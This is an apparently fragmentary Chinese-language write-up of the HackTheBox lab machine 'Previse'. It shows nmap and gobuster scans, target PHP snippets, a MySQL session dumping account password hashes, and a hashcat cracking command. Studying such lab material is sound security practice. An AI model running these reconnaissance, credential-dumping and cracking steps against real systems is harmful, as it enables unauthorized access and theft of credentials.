Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-11 15:01 CST Nmap scan report for 10.10.11.104 Host is up (0.069s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) | http-title: Previse Login |_Requested resource was login.php | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.59 seconds
80
目录扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
gobuster dir -u http://10.10.11.104/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50
<?php session_start(); if (!isset($_SESSION['user'])) { header('Location: login.php'); exit; } ?>
<?php if (!$_SERVER['REQUEST_METHOD'] == 'POST') { header('Location: login.php'); exit; }
///////////////////////////////////////////////////////////////////////////////////// //I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER// /////////////////////////////////////////////////////////////////////////////////////
mysql> use previse use previse Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> show tables; show tables; +-------------------+ | Tables_in_previse | +-------------------+ | accounts | | files | +-------------------+ 2 rows in set (0.00 sec)
mysql> desc accounts; desc accounts; +------------+--------------+------+-----+-------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------+--------------+------+-----+-------------------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(50) | NO | UNI | NULL | | | password | varchar(255) | NO | | NULL | | | created_at | datetime | YES | | CURRENT_TIMESTAMP | | +------------+--------------+------+-----+-------------------+----------------+ 4 rows in set (0.01 sec)
mysql> select username,password from accounts; select username,password from accounts; +----------+------------------------------------+ | username | password | +----------+------------------------------------+ | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | | miaomiao | $1$🧂llol$utY3ViR6xEFtKTaHwL.tn0 | +----------+------------------------------------+ 2 rows in set (0.00 sec)
mysql>
hash crack
破解出来密码,密码在rockyou的中间位置(51.68%左右),需要花费一点时间:
1 2 3
sudo hashcat -a 0 -m 500 hash.txt /usr/share/wordlists/rockyou.txt